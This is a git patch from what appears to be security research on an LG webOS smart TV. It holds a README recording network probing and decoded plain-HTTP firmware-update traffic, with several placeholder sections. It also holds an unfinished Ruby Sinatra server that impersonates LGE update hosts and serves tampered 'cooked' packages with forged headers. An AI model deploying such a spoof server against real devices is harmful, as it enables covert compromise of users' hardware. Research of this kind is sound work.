From 1bd45ec2facd0afaa87c75ae62f69f82be14ca51 Mon Sep 17 00:00:00 2001 From: Conor Horan-Kates Date: Wed, 23 Nov 2016 15:43:45 -0800 Subject: [PATCH] initial readme and generic impersonation code --- lg_webOS/README.md | 166 ++++++++++++++++++++++++++++++++ lg_webOS/impersonate-lge.com.rb | 89 +++++++++++++++++ 2 files changed, 255 insertions(+) create mode 100644 lg_webOS/README.md create mode 100644 lg_webOS/impersonate-lge.com.rb diff --git a/lg_webOS/README.md b/lg_webOS/README.md new file mode 100644 index 0000000..67a89ce --- /dev/null +++ b/lg_webOS/README.md @@ -0,0 +1,166 @@ +# LG webOS + +- [TV](#TV) +- [digging](#digging) + - [nmap](#nmap) + - [sniffing](#sniffing) + - [on boot](#onboot) + - [channel search](#channelsearch) + - [application marketplace](#applicationmarketplace) +- [impersonating](#impersonating) + - [channel guide](#channelguide) + - [application update](#applicationupdate) + +## TV +name|value +----|----- +model|43UH6100 +product|`3.0` +firmware|`4.30.40` +features|app marketplace, live TV listings +vulnerabilities|all phone-home calls are done over `HTTP` + +the `43UH6100` is a 'smart' TV, running LG's [webOS](https://en.wikipedia.org/wiki/WebOS) +since it is a fair assumption it is running [OpenWrt](https://en.wikipedia.org/wiki/OpenWrt) underneath, the original goal +was rooting the device, but initial investigations showed some other interesting vectors. + +## digging + +### nmap + +from `nmap -PN -sV :3000 +Hello world +``` + +we see the same response on `3001`, but have to use `-k` as the device uses a self-signed certificate. + +so, something is there, we just don't know how to talk to it yet. + +### sniffing + +switching tactics and connected the TV to a wireless network that has a tap, and we start to see some interesting things: + +#### on boot + +every time the TV starts up, within 30 seconds, it calls home: + +``` +POST /CheckSWAutoUpdate.laf HTTP/1.1 +Accept: */* +User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) +Host: snu.lge.com:80 +Connection: Keep-Alive +Content-type: application/x-www-form-urlencoded +Content-Length: 572 + +PFJFUVVFU1Q+CjxQUk9EVUNUX05NPndlYk9TVFYgMy4wPC9QUk9EVUNUX05NPgo8TU9ERUxfTk0+SEVfRFRWX1cxNlBfQUZBREFUQUE8L01PREVMX05NPgo8U1dfVFlQRT5GSVJNV0FSRTwvU1dfVFlQRT4KPE1BSk9SX1ZFUj4wNDwvTUFKT1JfVkVSPgo8TUlOT1JfVkVSPjMwLjQwPC9NSU5PUl9WRVI+CjxDT1VOVFJZPlVTMjwvQ09VTlRSWT4KPENPVU5UUllfR1JPVVA+VVM8L0NPVU5UUllfR1JPVVA+CjxERVZJQ0VfSUQ+MTQ6Yzk6MTM6MGU6ZWU6YzI8L0RFVklDRV9JRD4KPEFVVEhfRkxBRz5OPC9BVVRIX0ZMQUc+CjxJR05PUkVfRElTQUJMRT5OPC9JR05PUkVfRElTQUJMRT4KPEVDT19JTkZPPjAxPC9FQ09fSU5GTz4KPENPTkZJR19LRVk+MDA8L0NPTkZJR19LRVk+CjxMQU5HVUFHRV9DT0RFPmVuLVVTPC9MQU5HVUFHRV9DT0RFPjwvUkVRVUVTVD4K +``` + +``` +HTTP/1.1 200 OK +Date: Wed, 16 Nov 2016 08:23:56 GMT +Content-length: 508 +Content-type: application/octet-stream;charset=UTF-8 +Pragma: no-cache; +Expires: -1; +Content-Transfer-Encoding: binary; + +PFJFU1BPTlNFPjxSRVNVTFRfQ0Q+OTAwPC9SRVNVTFRfQ0Q+PE1TRz5TdWNjZXNzPC9NU0c+PFJFUV9JRD4wMDAwMDAwMDAwODcyOTE5MDEzNjwvUkVRX0lEPjxJTUFHRV9VUkw+PC9JTUFHRV9VUkw+PElNQUdFX1NJWkU+PC9JTUFHRV9TSVpFPjxJTUFHRV9OQU1FPjwvSU1BR0VfTkFNRT48VVBEQVRFX01BSk9SX1ZFUj48L1VQREFURV9NQUpPUl9WRVI+PFVQREFURV9NSU5PUl9WRVI+PC9VUERBVEVfTUlOT1JfVkVSPjxGT1JDRV9GTEFHPjwvRk9SQ0VfRkxBRz48S0U+PC9LRT48R01UPjE2IE5vdiAyMDE2IDA4OjIzOjU2IEdNVDwvR01UPjxFQ09fSU5GTz4wMTwvRUNPX0lORk8+PENETl9VUkw+PC9DRE5fVVJMPjxDT05URU5UUz48L0NPTlRFTlRTPjwvUkVTUE9OU0U+ +``` + +that looks a lot like base64 encoded data, and when decoded, yields + +request: +```xml + + webOSTV 3.0 + HE_DTV_W16P_AFADATAA + FIRMWARE + 04 + 30.40 + US2 + US + de:ad:be:ef:ca:fe + N + N + 01 + 00 + en-US + +``` + +pretty standard, but the `auth_flag`, `ignore_disable` and `config_key` values are potentially interesting + +response: +```xml + + 900 + Success + 00000000000000000001 + + + + + + + + 16 Nov 2016 08:23:56 GMT + 01 + + + +``` + +much more interesting than the request: + +key |assumption +-------------------|----------- +`IMAGE_URL` | the URL of a firmware update +`IMAGE_SIZE` | the size of the firmware update - are they doing this instead of checksum? +`IMAGE_NAME` | the name of the firmware update - not sure why this is necessary +`UPDATE_MAJOR_VER` | the major version of the firmware update +`UPDATE_MINOR_VER` | the minor version of the firmware update +`FORCE_FLAG` | whether or not to force the update - unclear if true|false or 1|0 +`CDN_URL` | URL that the firmware update is available at +`CONTENTS` | none + + +half an hour of playing around with both the input and output here didn't yield any immediate results, but there is definite potential. + +to speed this along, observe a session where the TV updated its firmware from the manufacturer + +#### channel search + +foo + +#### application marketplace + +bar + +# impersonating + +baz + +## channel guide + +barney + +## application update + +fizzbang \ No newline at end of file diff --git a/lg_webOS/impersonate-lge.com.rb b/lg_webOS/impersonate-lge.com.rb new file mode 100644 index 0000000..f49f160 --- /dev/null +++ b/lg_webOS/impersonate-lge.com.rb @@ -0,0 +1,89 @@ +#/usr/bin/env ruby +## impersonate-lge.com.rb - fake version of *.lge.com + +# serving a cooked version of busybox and base-files + +require 'sinatra' + +port = ENV['USER'].eql?('root') ? 80 : 8080 +set :port, port +set :bind, '0.0.0.0' + +set :public_folder, '_public' + +@type = @real_file = @fake_file = nil + +get '/fts/:file' do |file| + + target_host = request.host + + if target_host.match(/gfts/) + @type = :ngfts + # http://gfts.lge.com/fts/gftsFilePathDownload.lge?key=777863&hash=6Vsai7Ky71UPgetV&mtime=1479098823000 + # this is the opkg update path + + #redirect '/base-files/base-files.ipk' + + # unfortunately, we need to set these headers: + # Server: Apache + # Content-Disposition: attachment; filename="16881482.ipk" + # Content-Transfer-Encoding: binary; + # Content-Type: application/octet-stream;charset=UTF-8 + + # and currently, we send: + # Content-Type: application/vnd.shana.informed.package + # and the other fields are empty + + headers( + 'Content-Disposition' => 'attachment; filename="base-files.ipk"', + 'Content-Transfer-Encoding' => 'binary', + 'Content-Type' => 'application/octet-stream;charset=UTF-8', + 'Server' => 'Apache', + ) + + send_file File.join(settings.public_folder, '/base-files/base-files.ipk') + + elsif target_host.match(/ngfts/) + @type = :ngfts + biz_code = '' # TODO fill this in + if biz_code.eql?('PREMIUMS') + # TODO /fts/gftsDownload.lge?biz_code=PREMIUM&func_code=RECOMM_PROMOTION_IMAGE&file_path=/todayrecomm/template/promotion/w1_8.png + elsif biz_code.eql?('META_IMG') + # TODO /fts/gftsDownload.lge?biz_code=META_IMG&func_code=CPLOGO&file_path=/appstore/app/icon/20161017/16837781.png + elsif biz_code.eql?('IBS') + # TODO /fts/gftsDownload.lge?biz_code=IBS&func_code=TMS_CHANNEL_IMG_US&file_path=/ibs/tms/channel_img_us/201412040000_9.zip + elsif biz_code.eql?('APP_STORE') + # TODO /fts/gftsDownload.lge?biz_code=APP_STORE&func_code=APP_PREVIEW&file_path=/appstore/app/preview/20160221/3.jpg + elsif biz_code.eql?('MAS') + # TODO /fts/gftsDownload.lge?biz_code=MAS&func_code=META_THUMBNAIL&file_path=%2Fmas%2Ftms%2Fprogram%2Fp185554_b_ap.jpg + end + redirect '/ngfts/faked-ngfts.zip' + elsif target_host.match(/aic/) + @type = :aic + @real_file = '/aic/faked-aic.zip' + @fake_file = '16881482.ipk' + redirect real_file + else + # failover + 'your princess is in another castle' + end +end + +after do + + t = Time.now + (8 * 60 * 60) + timestamp = t.strftime('%a, %d %b %Y %H:%m:%S GMT') + + if @type.eql?(:aic) + response['Server'] = 'Apache' + response['Content-Disposition'] = sprintf('attachment; filename="%s"', @fake_file) + response['Content-Transfer-Encoding'] = 'binary' + response['Content-Type'] = 'image/jpeg;charset=UTF-8' + response['Connection'] = 'keep-alive' + response['Content-Length'] = File.read(@real_file).size + response['Last-Modified'] = timestamp + response['Date'] = timestamp + end + + @type = @real_file = @fake_file = nil +end \ No newline at end of file